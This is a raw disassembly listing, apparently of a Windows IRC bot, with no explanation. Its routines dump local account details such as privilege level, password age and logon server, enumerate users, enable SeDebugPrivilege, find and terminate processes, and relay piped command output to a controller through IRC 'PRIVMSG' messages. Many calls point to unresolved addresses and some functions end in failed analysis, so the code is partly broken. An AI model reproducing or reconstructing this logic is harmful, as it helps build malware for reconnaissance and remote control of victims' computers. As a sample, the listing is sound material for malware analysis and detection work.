mov eax, offset aAdministrator ; "Administrator"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_41955B: ; CODE XREF: sub_419443+105j
mov eax, offset aUser_0 ; "User"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419562: ; CODE XREF: sub_419443+102j
mov eax, offset aGuest ; "Guest"
loc_419567: ; CODE XREF: sub_419443+10Fj
; sub_419443+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41C266
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
add esp, 20h
pop edi
pop ebx
jmp short loc_419817
; ---------------------------------------------------------------------------
loc_4197EB: ; CODE XREF: sub_419443+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439CE8
push eax
call sub_41C266
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409869
add esp, 20h
loc_419817: ; CODE XREF: sub_419443+3A6j
cmp [ebp+var_4], 0
jz short loc_419826
push [ebp+var_4]
call dword_4CBA64
loc_419826: ; CODE XREF: sub_419443+40j
; sub_419443+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_419443 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_419177
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 18h
loc_41986B: ; CODE XREF: sub_41982C+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CB934
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_4198CC
cmp eax, 0EAh
jz short loc_4198CC
push eax
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439ED8
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_4198CC: ; CODE XREF: sub_41982C+62j
; sub_41982C+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41995A
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_419947
loc_4198DE: ; CODE XREF: sub_41982C+EDj
cmp edi, esi
jz short loc_41991D
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_4198DE
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_41991D: ; CODE XREF: sub_41982C+B4j
lea eax, [ebp+var_218]
push offset unk_439EA4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 1Ch
loc_419947: ; CODE XREF: sub_41982C+9Ej
; sub_41982C+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41995A
push edi
call dword_4CBA64
xor edi, edi
mov [ebp+var_4], edi
loc_41995A: ; CODE XREF: sub_41982C+A5j
; sub_41982C+120j
cmp [ebp+var_C], 0EAh
jz loc_41986B
cmp edi, esi
jz short loc_419972
push edi
call dword_4CBA64
loc_419972: ; CODE XREF: sub_41982C+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41982C endp
; =============== S U B R O U T I N E =======================================
sub_4199AC proc near ; CODE XREF: sub_418FE5+41p
; sub_4191DB+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419A5E
jz loc_419A57
cmp eax, 7Bh
ja short loc_419A23
jz short loc_419A19
cmp eax, 5
jz short loc_419A0F
cmp eax, 8
jz short loc_419A05
cmp eax, 32h
jz short loc_4199FB
cmp eax, 35h
jz short loc_4199F1
cmp eax, 57h
jnz loc_419AAD
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199F1: ; CODE XREF: sub_4199AC+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199FB: ; CODE XREF: sub_4199AC+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A05: ; CODE XREF: sub_4199AC+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A0F: ; CODE XREF: sub_4199AC+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A19: ; CODE XREF: sub_4199AC+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A23: ; CODE XREF: sub_4199AC+1Aj
sub eax, 7Ch
jz short loc_419A50
sub eax, 7C8h
jz short loc_419A49
dec eax
jz short loc_419A3F
dec eax
jnz short loc_419AAD
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A3F: ; CODE XREF: sub_4199AC+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A49: ; CODE XREF: sub_4199AC+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A50: ; CODE XREF: sub_4199AC+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A57: ; CODE XREF: sub_4199AC+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A5E: ; CODE XREF: sub_4199AC+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_419A97
jz short loc_419A90
sub eax, 8ADh
jz short loc_419AC2
dec eax
dec eax
jz short loc_419A89
dec eax
jz short loc_419A82
dec eax
dec eax
jnz short loc_419AAD
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A82: ; CODE XREF: sub_4199AC+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A89: ; CODE XREF: sub_4199AC+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A90: ; CODE XREF: sub_4199AC+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A97: ; CODE XREF: sub_4199AC+B9j
sub eax, 8CAh
jz short loc_419AC9
sub eax, 17h
jz short loc_419AC2
sub eax, 25h
jz short loc_419ABB
sub eax, 29h
jz short loc_419AB4
loc_419AAD: ; CODE XREF: sub_4199AC+35j
; sub_4199AC+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AB4: ; CODE XREF: sub_4199AC+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419ABB: ; CODE XREF: sub_4199AC+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC2: ; CODE XREF: sub_4199AC+C2j
; sub_4199AC+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC9: ; CODE XREF: sub_4199AC+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419ACE: ; CODE XREF: sub_4199AC+40j
; sub_4199AC+4Aj ...
push offset dword_4DB5E0
call sub_41C266
pop ecx
mov eax, offset dword_4DB5E0
pop ecx
retn
sub_4199AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41E0D4
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
nop
call near ptr 26C0000h
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41E0D4
lea eax, [ebp+var_718]
push eax
call sub_41E0B7
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CB9E4
test eax, eax
jnz short loc_419B70
mov esi, offset dword_4DB3DC
push offset unk_43A20C
push esi
call sub_41C266
pop ecx
pop ecx
jmp short loc_419B99
; ---------------------------------------------------------------------------
loc_419B70: ; CODE XREF: sub_419AE0+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_4199AC
pop ecx
mov esi, offset dword_4DB3DC
push eax
push offset dword_43A1E0
push esi
call sub_41C266
add esp, 14h
loc_419B99: ; CODE XREF: sub_419AE0+8Ej
mov eax, esi
pop esi
leave
retn
sub_419AE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B9E proc near ; CODE XREF: sub_4172C1+45p
; sub_4172C1+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
nop
call near ptr 27206A8h
push eax
call dword_4CB9B8
test eax, eax
jnz short loc_419BBD
leave
retn
; ---------------------------------------------------------------------------
loc_419BBD: ; CODE XREF: sub_419B9E+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CB990
test eax, eax
jz short loc_419BFB
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419BE4
or [ebp+var_8], 2
jmp short loc_419BE8
; ---------------------------------------------------------------------------
loc_419BE4: ; CODE XREF: sub_419B9E+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419BE8: ; CODE XREF: sub_419B9E+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CBA40
mov esi, eax
loc_419BFB: ; CODE XREF: sub_419B9E+32j
push [ebp+var_4]
nop
call near ptr 26608D5h
mov eax, esi
pop esi
leave
retn
sub_419B9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p
; sub_419E38+74p
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CB9F4, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_419E08
cmp dword_4CB9D8, ebx
jz loc_419E08
cmp dword_4CB8E8, ebx
jz loc_419E08
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CB9F4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_419DFB
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CB9D8
mov esi, dword_427070
test eax, eax
jz loc_419DF6
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CB8E8
test eax, eax
jz loc_419DF6
mov edi, dword_42708C
mov ebx, 1F0FFFh
loc_419CCD: ; CODE XREF: sub_419C09+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_419D34
mov [ebp+var_4], offset off_43A238
loc_419CDB: ; CODE XREF: sub_419C09+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
nop
call near ptr 2820000h
test eax, eax
jz short loc_419D03
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_43A298
jb short loc_419CDB
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D03: ; CODE XREF: sub_419C09+E6j
push [ebp+var_128]
push 0
push ebx
call edi
test eax, eax
mov [ebp+var_4], eax
jz loc_419DDC
push 0
push eax
call near ptr 2710A1Ah
nop
test eax, eax
jnz loc_419DDC
loc_419D2A: ; CODE XREF: sub_419C09+1B9j
push [ebp+var_4]
call esi
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D34: ; CODE XREF: sub_419C09+C9j
cmp [ebp+arg_C], eax
jnz loc_419DC7
cmp [ebp+arg_4], eax
jz loc_419DDC
push [ebp+var_128]
push 8
call dword_4CB9F4
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_419D87
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CB894
push [ebp+var_128]
test eax, eax
jz short loc_419D8D
lea eax, [ebp+var_234]
jmp short loc_419D93
; ---------------------------------------------------------------------------
loc_419D87: ; CODE XREF: sub_419C09+15Cj
push [ebp+var_128]
loc_419D8D: ; CODE XREF: sub_419C09+174j
lea eax, [ebp+var_10C]
loc_419D93: ; CODE XREF: sub_419C09+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
jmp loc_419D2A
; ---------------------------------------------------------------------------
loc_419DC7: ; CODE XREF: sub_419C09+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_419E0F
loc_419DDC: ; CODE XREF: sub_419C09+F5j
; sub_419C09+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CB8E8
test eax, eax
jnz loc_419CCD
xor ebx, ebx
loc_419DF6: ; CODE XREF: sub_419C09+9Dj
; sub_419C09+B3j
push [ebp+var_8]
call esi
loc_419DFB: ; CODE XREF: sub_419C09+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
loc_419E08: ; CODE XREF: sub_419C09+3Aj
; sub_419C09+46j ...
xor eax, eax
loc_419E0A: ; CODE XREF: sub_419C09+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419E0F: ; CODE XREF: sub_419C09+1D1j
push [ebp+var_128]
push 0
push ebx
call edi
push [ebp+var_8]
mov edi, eax
call esi
push 0
push edi
nop
call near ptr 2710A1Ah
test eax, eax
jnz short loc_419E33
push edi
call esi
jmp short loc_419E08
; ---------------------------------------------------------------------------
loc_419E33: ; CODE XREF: sub_419C09+223j
push 1
pop eax
jmp short loc_419E0A
sub_419C09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_43A438
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41C266
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_419E97
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409869
add esp, 14h
loc_419E97: ; CODE XREF: sub_419E38+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_419C09
add esp, 18h
test eax, eax
jnz short loc_419EBF
push offset unk_43A414
jmp short loc_419EC4
; ---------------------------------------------------------------------------
loc_419EBF: ; CODE XREF: sub_419E38+7Ej
push offset unk_43A3F0
loc_419EC4: ; CODE XREF: sub_419E38+85j
lea eax, [ebp+var_298]
push eax
call sub_41C266
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_419EF7
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409869
add esp, 14h
loc_419EF7: ; CODE XREF: sub_419E38+9Dj
lea eax, [ebp+var_298]
push eax
call sub_415D38
push [ebp+var_14]
call sub_40B6D6
pop ecx
pop ecx
push esi
call near ptr 26E0000h
nop
pop edi
pop esi
sub_419E38 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p
; sub_40B4F5+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
nop
call near ptr 26802EFh
mov esi, eax
test esi, esi
jz short loc_419F48
push 0
push esi
nop
call near ptr 2710A1Ah
test eax, eax
jnz short loc_419F48
push esi
xor edi, edi
nop
call near ptr 26608D5h
loc_419F48: ; CODE XREF: sub_419F16+1Aj
; sub_419F16+27j
mov eax, edi
pop edi
pop esi
retn
sub_419F16 endp
; ---------------------------------------------------------------------------
byte_419F4D db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo
dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h
dd 2CE89000h, 0EB02256Fh
db 0E3h
; =============== S U B R O U T I N E =======================================
sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap
; sub_419FD5+7Ep ...
mov eax, dword_4DBC48
push esi
mov esi, dword_427070
cmp eax, 0FFFFFFFFh
jz short loc_419F81
push eax
call esi
loc_419F81: ; CODE XREF: sub_419F6D+Fj
mov eax, dword_4DBC50
cmp eax, 0FFFFFFFFh
jz short loc_419F8E
push eax
call esi
loc_419F8E: ; CODE XREF: sub_419F6D+1Cj
mov eax, dword_4DBC44
cmp eax, 0FFFFFFFFh
jz short loc_419F9B
push eax
call esi
loc_419F9B: ; CODE XREF: sub_419F6D+29j
pop esi
retn
sub_419F6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41B9C0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DBC4C
nop
call near ptr 2700000h
test eax, eax
jnz short loc_419FD0
call sub_419F6D
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419FD0: ; CODE XREF: sub_419F9D+28j
push 1
pop eax
leave
retn
sub_419F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p
; sub_41A05C+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43DB88
push [ebp+arg_4]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41A018
push 7D0h
nop
call near ptr 2670E97h
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41C266
add esp, 10h
jmp short loc_41A02F
; ---------------------------------------------------------------------------
loc_41A018: ; CODE XREF: sub_419FD5+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_41C266
add esp, 0Ch
loc_41A02F: ; CODE XREF: sub_419FD5+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24
test eax, eax
jg short loc_41A058
call sub_419F6D
loc_41A058: ; CODE XREF: sub_419FD5+7Cj
xor eax, eax
leave
retn
sub_419FD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DBC54
loc_41A074: ; CODE XREF: sub_41A05C+79j
; sub_41A05C+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DBC48
nop
call near ptr 2820938h
test eax, eax
jz loc_41A142
cmp [ebp+var_4], edi
jnz short loc_41A0D7
lea eax, [ebp+var_8]
push eax
push dword_4DBC44
call near ptr 28204A5h
nop
test eax, eax
jz short loc_41A0CD
cmp [ebp+var_8], 103h
jnz loc_41A166
loc_41A0CD: ; CODE XREF: sub_41A05C+62j
push 0Ah
call near ptr 2670E97h
nop
jmp short loc_41A074
; ---------------------------------------------------------------------------
loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41A0EE
loc_41A0DE: ; CODE XREF: sub_41A05C+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_41A13C
inc eax
cmp eax, [ebp+var_4]
jb short loc_41A0DE
loc_41A0EE: ; CODE XREF: sub_41A05C+80j
mov [ebp+var_4], esi
loc_41A0F1: ; CODE XREF: sub_41A05C+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DBC48
nop
call near ptr 26F107Dh
test eax, eax
jz short loc_41A18E
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DBC88
call sub_419FD5
add esp, 0Ch
jmp loc_41A074
; ---------------------------------------------------------------------------
loc_41A13C: ; CODE XREF: sub_41A05C+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_41A0F1
; ---------------------------------------------------------------------------
loc_41A142: ; CODE XREF: sub_41A05C+45j
push offset unk_43A4C0
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push 1
nop
call near ptr 26E0000h
loc_41A166: ; CODE XREF: sub_41A05C+6Bj
call sub_419F6D
push offset unk_43A498
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
nop
call near ptr 26E0000h
loc_41A18E: ; CODE XREF: sub_41A05C+C3j
push offset unk_43A468
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call near ptr 26E0000h
nop
sub_41A05C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419F6D
xor esi, esi
